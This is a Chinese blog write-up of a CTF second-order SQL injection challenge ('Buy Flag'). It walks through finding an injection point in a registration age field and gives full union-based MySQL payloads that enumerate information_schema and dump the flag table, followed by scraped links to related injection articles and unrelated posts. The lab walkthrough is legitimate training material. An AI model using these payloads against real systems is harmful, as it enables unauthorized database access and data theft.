这次有做一个二次注入的天枢CTF题目,算是完整地理解了一遍注入的知识。来,启航。

 
1.判断注入点
    经过对题目的实践分析,知道注册时需要输入年龄大于18岁,但在登录后界面,年龄因为太大不能接触flag。问题在年龄上,在找各种框框,锁定目标在注册时年龄框框那儿了。接下来是重点了。
    之前的实践已知,正常的小于18岁的数字是通不过注册的,尝试使用十六进制(数据库可以解析十六进制为真正的数据哦)。

    1的十六进制通过了,emmmmm,这里是注入点。调皮地尝试登陆看看flag。

    提示信息没有显示flag。找到注入点当然只是个开始咯,接下来利用注入点。
 
2.判断注入类型
    注入类型有两种:数字和字符注入。根据构造的逻辑错误语句反馈的结果判断注入类型,如果返回界面和之前界面不一样,则说明是此注入类型。
    尝试数字注入。1 and 1=2 -- (猜测它是mysql数据库)
 

    用刚注册的账户成功登录,界面和之前界面一样。说明不是数字注入。
 
    尝试字符注入。1' and 1=2 -- 

    看见没,显示的界面发生了变化,说明此错误语句被执行,此注入属于字符注入。
 
3.判断字段。
    1' order by 1 -- 
 

    当字段为1时,回显内容。
    
    1' order by 2 -- 

    当字段为2时,无回显内容。说明能够在界面回显的字段只有一个。
 
4.依次查出flag
第一步查出数据库。
    1' and 1=2 union select group_concat(schema_name) from information_schema.schemata -- 

    很明显,【childhappy】是目标数据库。
第二步查表名。
    1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='childhappy' -- 

    emmmmmmmmmmm,猜测py_flag是目标表。
第三步查列名。
    1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema='childhappy' and table_name='py_flag' -- 

    好,tsctf_fla9里面应该有我们需要的东西。
第四步获取flag。
    1' and 1=2 union select group_concat(tsctf_fla9) from childhappy.py_flag -- 

    好嘞,愉快地结束。
 
 
 
 

二次注入的学习--Buy Flag(http://10.112.68.215:10002)的更多相关文章

  1. Spring.NET依赖注入框架学习--简单对象注入

    Spring.NET依赖注入框架学习--简单对象注入 在前面的俩篇中讲解了依赖注入的概念以及Spring.NET框架的核心模块介绍,今天就要看看怎么来使用Spring.NET实现一个简单的对象注入 常 ...

  2. 利用反射型XSS二次注入绕过CSP form-action限制

    利用反射型XSS二次注入绕过CSP form-action限制 翻译:SecurityToolkit 0x01 简单介绍 CSP(Content-Security-Policy)是为了缓解XSS而存在 ...

  3. COMMENT SQL二次注入

    这题目太顶了进去随便发个贴,出现登录已经提示用户名和密码了,弱密码登录(得自己去爆破)zhangwei666即可 没啥思路,扫下目录试试,kali的dirb扫到.git泄露githacker得到源码看 ...

  4. SQL注入 基础学习

    SQL注入学习笔记 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有 ...

  5. [网鼎杯2018]Unfinish-1|SQL注入|二次注入

    1.进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下: 2.进行目录扫描,发现了注册界面:register.php,结果如下: 3.那就访问注册界面, ...

  6. [网鼎杯 2018]Comment-1|SQL注入|二次注入

    1.打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下: 2.那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户.密码给出了 ...

  7. sql注入时易被忽略的语法技巧以及二次注入

    那些容易被忽略.容易被弄错的地方 sql注入时的技巧 ========================================================================= ...

  8. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...

  9. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

随机推荐

  1. day06-三元表达式

    python中没有其他语言中的三元表达式,不过有类似的实现方法 其他语言中,例如java的三元表达式是这样int a = 1;String b = "";b = a > 1? ...

  2. svn下载地址

    SVN svn服务器端下载: https://www.visualsvn.com/server/download/ svn eclipse插件地址(new soft install): http:// ...

  3. SpringBoot配置发送邮件

    一.导入jar包 <dependency> <groupId>org.springframework.boot</groupId> <artifactId&g ...

  4. es6 初级之---const 和 默认参数

    1. const 的定义: 1.1 常量定义的时候要赋值,不赋值是会报错的: <!DOCTYPE html> <html lang="en"> <he ...

  5. 使用jsoup爬取所有成语

    前几天看到有人在博问上求所有成语,想到刚好看了jsoup,就动手实践了一下,提问者给出了网站,一看很简单,就两种页面,一种是包含某个字的成语链接页面,一个是具体的包含某个字的成语的页面 下面是我的代码 ...

  6. CSRF学习小结

    什么是CSRF CSRF,全称是Cross Site Request Forgery,也即跨站请求伪造.对于CSRF来说,它的请求有两个关键点:跨站点的请求和请求是伪造的. 跨站点的请求的来源是其他站 ...

  7. 我理解的BFC(块级格式化上下文)

    BFC(Block formatting context) 直译为"块级格式化上下文". BFC它是一个独立的渲染区域,只有Block-level box参与, 它规定了内部的Bl ...

  8. google image

    google图片抓取 google图片是base64加密的,而且base64后的信息放在script信息里面 import pymysql from lxml import etree import ...

  9. JS-事件对象(鼠标键盘事件)

    一  事件对象 1 需要获取键盘和鼠标的信息的时候,用到事件对象.(e) 例如:document.onclick = function(e){ var  e = e || event;(做兼容) } ...

  10. 阿里大于发送短信(java)

    一.短信签名设置 1.短信签名是什么? 签名是在短信内容开始或者末尾跟的品牌或者应用名称,设置签名有一下几个好处:增加品牌的曝光度,增强用户的记忆让用户能更清楚的知道正在使用的应用. 2.签名可不可以 ...